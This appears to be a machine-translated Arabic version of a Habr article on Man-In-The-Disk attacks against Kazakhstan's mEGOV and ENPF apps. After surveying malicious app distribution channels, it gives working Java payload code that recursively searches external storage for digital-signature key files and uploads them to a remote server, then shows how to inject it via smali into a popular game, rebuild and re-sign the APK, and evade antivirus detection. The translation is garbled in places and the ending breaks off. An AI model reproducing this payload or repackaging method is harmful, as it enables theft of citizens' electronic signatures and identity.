سرقة EDS باستخدام برنامج Man-In-The-Disk

تستخدم تطبيقات الهاتف المحمول في كازاخستان mEGOV و UAPF التواقيع الرقمية كأحد طرق الترخيص. لتسجيل الدخول بهذه الطريقة ، تحتاج إلى نقل الملف من التوقيع الرقمي إلى الهاتف. طريقة التفويض هذه عرضة لهجوم Man-In-The-Disk (مزيد من التفاصيل في هذا أدناه). لتصبح ضحية لهجوم ، تحتاج فقط إلى تثبيت أي من التطبيق المفضل لديك ، والذي تم تعديله سرا من قبل المهاجم. سأوضح كيف يمكن القيام بذلك. أولاً ، تعرف على كيفية وصول هذه التطبيقات إلى المستخدم.


كيف تحصل التطبيقات الخبيثة على الهاتف


أسواق التطبيقات المحلية في الصين وإيران ، إلخ.


أمثلة: cafebazaar.ir ، android.myapp.com ، apkplz.net


ظهرت هذه المواقع بسبب الرقابة وحظر خدمات Google و / أو خوادم التطبيقات الرسمية. عادة ما تحتوي على نظائرها المحلية من التطبيقات الشعبية وتعديلاتها. تحتوي مثل هذه التعديلات (مثل هذا التلغراف الإيراني ) على ميزات رائعة وجديدة. ما هو خطر مثل هذه التطبيقات؟ أنت لا تعرف أبدا ما يفعلونه حقا. بالإضافة إلى ذلك ، لا تفوت بعض الحكومات الفرصة وتنشر تعديلاتها ، مع أدوات لتتبع المستخدم. تطبيقات التجسس الحكومية ضارة بالتعريف. مرة واحدة ، درست تطبيقًا ضارًا ( نتيجة فيروسية ، عينة هنا ، كلمة المرور: مصابة) ، والتي فحصت الهاتف بحثًا عن النسخ المستنسخة عن البرقية:


"com.hanista.mobogram" "org.ir.talaeii" "ir.hotgram.mobile.android" "ir.avageram.com" "org.thunderdog.challegram" "ir.persianfox.messenger" "com.telegram.hame.mohamad" "com.luxturtelegram.black" "com.talla.tgr" "com.mehrdad.blacktelegram" 

تشير هذه القائمة إلى الأهمية الحقيقية لهذه التطبيقات وشعبتها. أدى بحثي عن هذه البرامج الضارة إلى مقال يتحدث عن استنساخ برقية وزعته الحكومة الإيرانية عبر سوق Cafebazaar . اقتباس من هناك:


يبدو أن هذا تم تطويره وفقًا لمواصفات الحكومة الإيرانية ، مما يتيح لهم تتبع كل جزء من البايتات المقدمة من قبل مستخدمي التطبيق.

كم عدد الحيوانات المستنسخة برقية هل ترى؟: ( المصدر )


صورة


يكاد يكون من المستحيل على المستخدمين العاديين حماية أنفسهم من هذا ، لأنه لا يوجد خيار آخر - يتم حظر المصادر الرسمية بشدة ، ويتم الترويج لمصادرهم الخاصة. يقوم الباحثون وشركات مكافحة الفيروسات من جميع أنحاء العالم ، بعد تحديد التطبيقات المصابة ، بإبلاغ Google على الفور بهذا ويتم إزالتها من سوق Play ، والذي لا ينطبق ، بالطبع ، على أسواق تطبيقات الجهات الخارجية. أيضًا ، لا تنطبق عليها سياسة Google المتعلقة بقبول التطبيقات المستضافة.


تحظى بعض الأسواق بشعبية كبيرة ، مثل تطبيق Tencent My App ، حيث يوجد 260 مليون مستخدم شهريًا ( المصدر )


صورة


غالبًا ما تستخدم التطبيقات المحلية المستخدمة في نفس المنطقة / البلد نفس SDK (مجموعة من المكتبات) لتتبع الإعلانات والتكامل الاجتماعي. شبكات ، إلخ ... إذا تم استخدام نفس المكتبة في العديد من التطبيقات ، ثم مع احتمال كبير ، يمكن تثبيت بعض هذه التطبيقات على مستخدم واحد. يمكن أن تستخدم هذه المكتبات إمكانيات التطبيقات المختلفة التي تم إنشاؤها فيها لسرقة بيانات المستخدم ، متجاوزة الأذونات الممنوحة. على سبيل المثال ، لدى تطبيق واحد حق الوصول لتلقي IMEI ، لكن ليس لديه إمكانية الوصول إلى الإنترنت. تعرف المكتبة المدمجة بهذا ، وبالتالي تقرأ IMEI وتحفظه على بطاقة SD في مجلد مخفي. تم دمج نفس المكتبة في تطبيق آخر لديه إمكانية الوصول إلى الإنترنت ولكن لا يمكن الوصول إلى IMEI ، ويقرأه من مجلد مخفي ويرسله إلى خادمه. تم استخدام هذه الطريقة من قبل شركتين صينيتين Baidu و Salmonads. يمكنك قراءة المزيد عن هذا هنا .


التصيد


التصيد الكلاسيكي هو الأداة الرئيسية للمجموعات الدولية والخدمات الخاصة لمختلف البلدان . كما يحدث غالبًا ، يتم استخدام تطبيق مراسلة عادي ، وتتم إضافة وظائف التتبع إليه ، ثم يتم توزيعه على نطاق واسع ، مع وضع علامة "انظر ، يا له من تطبيق رائع للاتصال". يمكن إجراء التسليم للمستخدمين من خلال التواصل الاجتماعي. الشبكات ، والبريد الإلكتروني غير المرغوب فيه Whatsapp / Telegram ، والإعلانات المدمجة على المواقع ، إلخ.


صورة


المصدر ، ص 19.


روابط الخداع ، في شكل منشورات على Facebook:


صورة


المصدر ، الصفحة 22


المنبثقة على موقع واحد مشهور


صورة


مصدر


روبوتات برقية / مجموعات


مثال:apkdl_bot ، t.me/fun_android


هناك روبوتات البرقية لتنزيل ملفات apk. بدلاً من التطبيق الشرعي ، قد ينزلقون لك إلى البرامج الضارة. أو تصيب طلبك المطلوب على الطاير. يعمل مثل هذا - فأنت تقوم بإدخال الأمر bot / group الذي تريد تنزيله "Instagram" ، البرنامج النصي من الجانب الآخر يقوم بتنزيله من Google Play ، ويفك ، ويضيف رمزًا خبيثًا ، ويعيده إليك ويعيده إليك. كيف يتم ذلك تلقائيًا ، سأحاول عرض مثال في المستقبل القريب.


مواقع وساطة الطرف الثالث


مثال: apkpure.com ، apkmirror.com ، apps.evozi.com/apk-downloader/


هناك عدد كبير من المواقع غير الرسمية لتنزيل تطبيقات أندرويد. يوفر بعضها القدرة على تنزيل التطبيق الخاص بك ، والذي قد يكون ضارًا. قم بتنزيل المثال على هذا الموقع :


صورة


مثال واحد على malvari الذي نشر بهذه الطريقة ( المصدر ):


صورة


يمكن العثور على نماذج إحصائية لمصادر غير رسمية في تقرير Android Security 2018 - 1.6 مليار حظر Google Play Protect للمنصات وليس من Google Play. كان هناك الكثير من المنشآت.
حتى أن البعض يكتب مقالات حول مدى جودة استخدام أسواق الجهات الخارجية.
يتكون عالم كامل منفصل من المواقع التي توزع التطبيقات بدون إعلانات ، والتطبيقات التي يتم اختراقها مدفوعة الثمن مجانًا ، والتطبيقات ذات الوظائف الإضافية:


صورة


صورة


جوجل اللعب


يتمتع المصدر الرسمي بحماية ضد التطبيقات المشبوهة التي تسمى Google Play Protect ، والتي تستخدم التعلم الآلي لتحديد درجة البرامج الضارة. ولكن هذه الحماية لا يمكنها أن تفهم بدقة أي تطبيق ضار وأيها ليس كذلك ، لأن هذا يتطلب إجراء فحص يدوي كامل. ما الفرق بين تطبيق تجسس يراقب كل تحركاتك وتطبيق قيد التشغيل؟ يجد الباحثون باستمرار مئات التطبيقات المصابة المنشورة على Google Play.


عادةً ما يستدعي تطبيق ضار خدمات google play أو بطريقة مشابهة ، ويضع رمزًا مشابهًا . هذا مضلل للمستخدمين. لماذا لا يقوم Google Play بالتحقق من الأيقونة من أجل التشابه مع تطبيقاتها الرسمية غير واضح. بمجرد وصولي إلى برقية ، وضعت أفاتارًا على متن طائرة ورقية وحظرتني. هناك طريقة أخرى تستخدمها التطبيقات الضارة وهي استبدال الأحرف ("L" بكلمة "I" و "g" بكلمة "q") لإنشاء اسم مشابه للتطبيق الرسمي:


صورة


مصدر .


طرق أخرى


  1. في خدمات إصلاح الهاتف


  2. عند عبور الحدود


  3. الاتصال بجهاز كمبيوتر غير مألوف عبر USB ، مع تمكين تصحيح الأخطاء.


  4. مهاجم يمكنه الوصول إلى حسابك في Google ، وتثبيت التطبيق على هاتفك عبر Google Play.


  5. التطبيقات المثبتة مسبقا


  6. بأمر من المحكمة وبدون. من قبل الشرطة أو الخدمات الخاصة


  7. هجوم سقي حفرة


  8. جئت لزيارة صديق ، وأصاب تلفزيونه هاتفك



يقوم الإصدار المعين الذي يظهر على أجهزة Fire TV بتثبيت نفسه كتطبيق يسمى "اختبار" باسم الحزمة "com.google.time.timer". بمجرد إصابة جهاز Android ، يبدأ في استخدام موارد الجهاز لاستخراج العملات المشفرة ويحاول نشر نفسه على أجهزة Android الأخرى على نفس الشبكة.

كيف يصيب المهاجمون تطبيقات أندرويد


نحن الآن نفهم كيف يمكن للتطبيق الضار الحصول على هاتفك. بعد ذلك ، سيتم توضيح كيف يمكن للمهاجم تعديل أي تطبيق Android. سيتم استخدام مثال مع تنفيذ الكود في اللعبة الشهيرة Nin Ninja . يقوم الرمز بمسح ذاكرة الهاتف ، ويبحث عن ملف به EDS ويرسله إلى الخادم (الجذر ليس طبيعيًا).


ما هو مان في القرص؟


لفت انتباه الجمهور إلى هذا الاتجاه من الهجوم ، بعد هذا المقال . أنصحك بقراءته أولاً.


بالنسبة لأولئك الذين قرأوا ، سأضيف من نفسي - إن تعديل الملفات المشتركة للتطبيقات الأخرى يمكن أن يؤدي أيضًا إلى استغلال الثغرات الأمنية في المكتبات التي تستخدم هذه الملفات


الذي لم يقرأ ، سأقول باختصار. بادئ ذي بدء ، دعونا نحدد المفاهيم. في Android ، يتم تقسيم ذاكرة التطبيقات إلى التخزين الداخلي والتخزين الخارجي. التخزين الداخلي هو الذاكرة الداخلية للتطبيق ، ولا يمكن الوصول إليه إلا لأي شخص آخر. تماما كل تطبيق على الهاتف يتوافق مع مستخدم منفصل ومجلد منفصل مع حقوق لهذا المستخدم فقط. هذه هي آلية دفاع كبيرة. وحدة التخزين الخارجية - الذاكرة الرئيسية للهاتف ، يمكن الوصول إليها من جميع التطبيقات (ويشمل ذلك أيضًا بطاقة SD). لماذا هو مطلوب؟ خذ تطبيق محرر الصور. بعد التحرير ، يجب عليك حفظ الصورة بحيث يمكن الوصول إليها من المعرض. بطبيعة الحال ، إذا قمت بوضعه في وحدة تخزين داخلية ، فلن يكون متاحًا لأي شخص باستثناء التطبيق الخاص بك. أو مستعرض يقوم بتنزيل جميع الملفات إلى مجلد التنزيلات المشترك.


يحتوي كل تطبيق Android على مجموعة الأذونات الخاصة به. لكن هذا ليس جيدًا معهم. من بينها تلك التي يغمضها الناس عن طيب خاطر ولا يأخذونها على محمل الجد. من بينها READ_EXTERNAL_STORAGE. يسمح للتطبيق بالوصول إلى الذاكرة الرئيسية للهاتف ، وبالتالي لجميع بيانات التطبيقات الأخرى. بعد كل شيء ، لن يفاجأ أحد إذا طلب تطبيق دفتر الملاحظات لهذا الإذن. قد يكون من الضروري له تخزين الإعدادات وذاكرة التخزين المؤقت هناك. معالجة البيانات من التطبيقات الأخرى في وحدة التخزين الخارجية هي هجوم Man-In-The-Disk. القرار الآخر ، المفترض تقريبًا ، هو INTERNET. كما يوحي الاسم ، فإنه يسمح للتطبيق بالوصول إلى الشبكة. أتعس شيء هو أن المستخدم لا يظهر نافذة خاصة تطالبه بإعطاء هذا الإذن. أنت فقط اكتبها في التطبيق الخاص بك وأنها تعطيه لك.


قمت بتنزيل أفضل 15 تطبيقًا من تطبيقات كازاخستان وكتبت نصًا يعرض إحصائيات حول الأذونات المطلوبة. كما ترون ، فإن READ_EXTERNAL_STORAGE و WRITE_EXTERNAL_STORAGE و INTERNET شائعة جدًا. هذا يعني أنه يمكن للمهاجمين تضمين كود مؤلم يسرق التواقيع الرقمية في معظم التطبيقات.


قائمة التطبيقات التي تم اختبارها
2-نظم المعلومات الجغرافية ، AliExpress ، Chocofood ، Chrome ، InDriver ، Instagram ، Kaspi ، Kolesa ، Krisha ، Telegram ، VK ، WhatsApp ، Yandex Music ، Yandex Taxi
، زاكون KZ

صورة


إذا وضعت whatsapp على هاتف ذي جذر ، فسيتم تخزين كل مراسلاتك بنص واضح. يبدو أن تطبيق WhatsApp لا يعتبر ضروريًا حتى استخدام التشفير على هذا الهاتف "التالف". أيضًا ، في وحدة التخزين الخارجية ، يقوم whatsapp بتخزين SSLSessionCache (ذاكرة التخزين المؤقت القائمة على الملفات لجلسات SSL المنشأة). في المستقبل ، سأحاول استكشاف كيف يمكنك استخدام هذه الملفات المستلمة من هاتف شخص آخر.


تخزن Telegrams و Instagram الصور المخزنة مؤقتًا في الذاكرة المشتركة. جميع الصور التي تعرضها تقريبًا ، والصور التي ترسلها إلى بعضها البعض ، متاحة لأي تطبيق على هاتفك.


صورة


تتطلب تطبيقات MEGOV و ENPF أن يكون التوقيع الرقمي في وحدة التخزين الخارجية:


صورة


صورة


تدرك Google المشكلة وتوشك على تغيير READ_EXTERNAL_STORAGE في Android Q. Quote:


للوصول إلى أي ملف آخر أنشأه تطبيق آخر ، بما في ذلك الملفات الموجودة في دليل "التنزيلات" ، يجب أن يستخدم التطبيق الخاص بك إطار الوصول إلى التخزين ، والذي يسمح للمستخدم بتحديد ملف معين.

إنشاء حمولة


دعنا ننتقل إلى وظيفة الماسح الضوئي الرئيسية. ستتكون من ثلاث فئات رئيسية: StageAttack ، MaliciousService ، MaliciousTaskManager .


صورة


StageAttack - يتكون من طريقة ثابتة واحدة تبدأ StageAttack . نحن بصدد إنشاء أسلوب ثابت انتقالي ، لراحة التنفيذ في الفصل النهائي.


 public class StageAttack { public static void pwn(Context ctx) { Intent intent = new Intent(ctx, MaliciousService.class); ctx.startService(intent); } } 

خدمة MaliciousService هي خدمة تبحث بشكل متكرر في جميع وحدات التخزين الخارجية.


 private String pwn2(File dir) { String path = null; File[] list = dir.listFiles(); for (File f : list) { if (f.isDirectory()) { path = pwn2(f); if (path != null) return path; } else { path = f.getAbsolutePath(); if (path.contains("AUTH_RSA")) { Log.d(TAG, "AUTH_RSA found here - " + path); return path; } } } return null; } 

إذا لم يتم العثور على EDS ، فسنكرر البحث كل 5 ثوان حتى نعثر عليه. يمكنك استخدام أي فاصل. بأخذ فترة زمنية صغيرة جدًا ، تتعرض خدماتنا لخطر الإيقاف بواسطة النظام. كلما ارتفع إصدار android ، زادت السياسة المتعلقة بتشغيل العمليات الخلفية. لا يمكننا أيضًا استخدام خدمة المقدمة ، لأن هذا الإشعار يجب أن يتعطل باستمرار. لا أكون مطور Android ، لقد قضيت الكثير من الوقت لإيجاد طريقة لجدولة مهمة ستكتمل في الوقت المحدد. انها ليست بسيطة كما يبدو. هناك العديد من الطرق الموصى بها لهذا في android (JobService، WorkManager، setRepeating () AlarmManager). لا تشير الوثائق بشكل صريح إلى أن الفاصل الزمني للمهمة يجب أن يكون 15 دقيقة على الأقل وأن وقت تنفيذها يعتمد على رغبة النظام. هذا لا setExactAndAllowWhileIdle() ، لذلك نستخدم فئة AlarmManager ، وهي طريقة setExactAndAllowWhileIdle() . عند اكتمال المهمة ، نخطط لها مرة أخرى ، مع نفس الفاصل الزمني. هذه هي الطريقة الوحيدة المعروفة حاليًا والتي تتمتع بأعلى درجات الدقة.


 private void scheduleMalService() { Context ctx = getApplicationContext(); AlarmManager alarmMgr = (AlarmManager) ctx.getSystemService(Context.ALARM_SERVICE); Intent intent = new Intent(ctx, MaliciousTaskManager.class); final int _id = (int) System.currentTimeMillis(); PendingIntent alarmIntent = PendingIntent.getBroadcast(ctx, _id, intent, 0); alarmMgr.setExactAndAllowWhileIdle(AlarmManager.RTC_WAKEUP, System.currentTimeMillis() + 5000, alarmIntent); } 

إذا تم العثور على EDS ، فإننا نرسل الملف إلى الخادم:


 private void sendToServer(String path) { File file = new File(path); URL url = new URL("http://xxxxxxxxxx"); HttpURLConnection urlConnection = (HttpURLConnection) url.openConnection(); urlConnection.setConnectTimeout(30 * 1000); urlConnection.setRequestMethod("POST"); urlConnection.setDoOutput(true); urlConnection.setRequestProperty("Content-Type", "application/octet-stream"); DataOutputStream request = new DataOutputStream(urlConnection.getOutputStream()); request.write(readFileToByteArray(file)); request.flush(); request.close(); int respCode = urlConnection.getResponseCode(); Log.d(TAG, "Return status code: " + respCode); } 

نحن نقدم الحمولة


أولاً ، نقوم بفك تشفير فاكهة Ninja باستخدام apktool . لا نقوم بفك تشفير التطبيق قبل شفرة java ، لأنه بعد التعديل ، لن نتمكن من تجميعه مرة أخرى. نحن بحاجة إلى الحصول على الطبقات smali بالضبط. وسننفذ أيضًا الكود الخاص بنا في شكل كود smali.


ما هو كود smali؟
يتم تجميع تطبيقات Android في bytecode ، والتي يتم تنفيذها بواسطة الجهاز الظاهري Dalvik. يصعب قراءة رمز البايت كود نفسه ، لذا فإن شكله المقروء بشريًا يسمى smali. smali هو تناظرية لغة التجميع ، ولكن لالروبوت.

علاوة على ذلك ، إذا كنا نريد أن تبدأ الحمولة الصافية عند بدء تشغيل التطبيق ، يجب علينا تعديل نقطة الدخول. نقطة الدخول إلى أي تطبيق من واجهة المستخدم الرسومية هي فئة فرعية للنشاط تأخذ ACTION_MAIN. افتح المجلد مع التطبيق الذي تم إلغاء ترجمته ، ثم ابحث عنه في ملف AndroidManifest.xml:


 <activity android:name="com.halfbrick.mortar.MortarGameLauncherActivity"> <intent-filter> <action android:name="android.intent.action.MAIN"/> <category android:name="android.intent.category.LAUNCHER"/> </intent-filter> </activity> 

وجدنا فئة com.halfbrick.mortar.MortarGameLauncherActivity التي com.halfbrick.mortar.MortarGameLauncherActivity . قبل أن تدرسه ، دعونا نلقي نظرة على دورة حياة النشاط ، سيكون ذلك مفيدًا لنا.


صورة


مصدر


النشاط المفتوح ، بالنسبة لي يقع على طول طريق المسار \ smali_classes2 \ com \ halfbrick \ mortar \ MortarGameLauncherActivity.smali . إذا لم ترَ رمز smali من قبل ، فهذا ليس مخيفًا ، فهو بسيط بما يكفي للقراءة وواضحًا منطقيًا.


 .class public Lcom/halfbrick/mortar/MortarGameLauncherActivity; //     package .super Landroid/app/Activity; //.super     . // Activity    android.app.Activity. .source "MortarGameLauncherActivity.java" //  Java . .method public constructor <init>()V /*       -   .   ,    .   , V - void */ .locals 0 /*   Dalvik   ,    .    ,      .       .    ,     16, 256  64.       ,  .       .    ,    . .locals 0 - ,    0  .    ,  v0, v1, v2, v3, ...    - p0, p1, p2, p3. */ .line 28 invoke-direct {p0}, Landroid/app/Activity;-><init>()V /* invoke-     . invoke-direct -   ,   . ,     java - private  .    ,       ,   .      . p0 -    this  java. init   ,     . */ return-void //    .end method .method protected onStart()V .locals 2 .line 33 invoke-super {p0}, Landroid/app/Activity;->onStart()V //  onStart()   .line 35 invoke-virtual {p0}, Lcom/halfbrick/mortar/MortarGameLauncherActivity;->isTaskRoot()Z /* invoke-virtual -   .     ,     static, private, final  .  MortarGameLauncherActivity    isTaskRoot(),        Activity.   Z - boolean */ move-result v0 /*    isTaskRoot()   v0. isTaskRoot()  true,   Activity  ,      */ if-nez v0, :cond_0 /*  v0 = true,     cond_0 ( goto).  v0 = false,   */ .line 37 invoke-virtual {p0}, Lcom/halfbrick/mortar/MortarGameLauncherActivity;->finish()V // finish()  Activity return-void //    .line 41 :cond_0 new-instance v0, Landroid/content/Intent; //   Intent        v0 const-class v1, Lcom/halfbrick/mortar/MortarGameActivity; //    MortarGameActivity   v1. MortarGameActivity    Activity. invoke-direct {v0, p0, v1}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V //    Intent,  ,    .line 42 invoke-virtual {p0}, Lcom/halfbrick/mortar/MortarGameLauncherActivity;->finish()V //   Activity .line 43 invoke-virtual {p0, v0}, Lcom/halfbrick/mortar/MortarGameLauncherActivity;->startActivity(Landroid/content/Intent;)V //  MortarGameActivity return-void .end method 

اكتشفنا أن MortarGameLauncherActivity تطلق MortarGameActivity وتغلق. افتح MortarGameActivity . لن نعلق عليه بالكامل. نحن مهتمون بما يحدث في طريقة Oncreate ، لأنه يبدأ في إنشاء النشاط. بعد ذلك مباشرة ، سنقوم بإدخال الكود الخاص بنا. من المهم ألا تزعج الخط عند اللصق.


 .method protected onCreate(Landroid/os/Bundle;)V .locals 9 :try_start_0 const-string v0, "android.os.AsyncTask" .line 465 invoke-static {v0}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class; :try_end_0 .catch Ljava/lang/Throwable; {:try_start_0 .. :try_end_0} :catch_0 .line 471 :catch_0 invoke-super {p0, p1}, Landroid/support/v4/app/FragmentActivity;->onCreate(Landroid/os/Bundle;)V <--------------------------- //  ,   472 .line 473 invoke-static {}, Lcom/halfbrick/mortar/NativeGameLib;->TryLoadGameLibrary()Z .line 475 invoke-virtual {p0}, Lcom/halfbrick/mortar/MortarGameActivity;->getIntent()Landroid/content/Intent; ... 

الآن نحن بحاجة إلى رمز حمولة smali. نجمع الماسح الضوئي لدينا في apk و decompile. نقوم بنقل فصولنا الثلاثة المحولة ، والتي تقع على طول المسار smali \ kz \ c \ signscan ، إلى المجلد com / halfbrick / mortar . تغيير اسم الحزمة إلى جميع الفئات ، من kz.c.signscan إلى com.halfbrick.mortar .


كان:


 .class public Lkz/c/signscan/StageAttack; 

أصبح:


 .class public Lcom/halfbrick/mortar/StageAttack; 

في فئة smali MainActivity ، نأخذ خط اتصال الحمولة النافعة:


 invoke-static {p0}, Lcom/halfbrick/mortar/StageAttack;->pwn(Landroid/content/Context;)V 

وإدراجها في MortarGameActivity . نتيجة لذلك ، تبدو طريقة onCreate() كما يلي:


 ... .method protected onCreate(Landroid/os/Bundle;)V .locals 9 :try_start_0 const-string v0, "android.os.AsyncTask" .line 465 invoke-static {v0}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class; :try_end_0 .catch Ljava/lang/Throwable; {:try_start_0 .. :try_end_0} :catch_0 .line 471 :catch_0 invoke-super {p0, p1}, Landroid/support/v4/app/FragmentActivity;->onCreate(Landroid/os/Bundle;)V .line 472 invoke-static {p0}, Lcom/halfbrick/mortar/StageAttack;->pwn(Landroid/content/Context;)V .line 473 invoke-static {}, Lcom/halfbrick/mortar/NativeGameLib;->TryLoadGameLibrary()Z .line 475 invoke-virtual {p0}, Lcom/halfbrick/mortar/MortarGameActivity;->getIntent()Landroid/content/Intent; ... 

فئة MaliciousTaskManager في الحمولة هي BroadcastReceiver ، و MaliciousService هي IntentService ، لذلك نحن بحاجة إلى كتابتها في البيان.


 ... <receiver android:name=".MaliciousTaskManager"/> <service android:name=".MaliciousService"/> ... 

نقوم apktool b myfolder كل شيء مرة أخرى باستخدام الأمر apktool b myfolder . نتيجة لذلك ، حصلنا على ملف apk. نحتاج الآن إلى التوقيع عليه حتى يقبل android طلبنا. أولاً ، سننشئ مفتاحًا سنوقع به:


 keytool -genkey -v -keystore my-release-key.keystore -alias alias_name -keyalg RSA -keysize 2048 -validity 10000 

نحن نوقع apk:


 jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore my-release-key.keystore my_application.apk alias_name 

لن تظهر لنا Virustotal أي شيء ، لأننا لا نفعل أي شيء "غير قانوني". - .


صورة


, :




Source: https://habr.com/ru/post/ar460993/


All Articles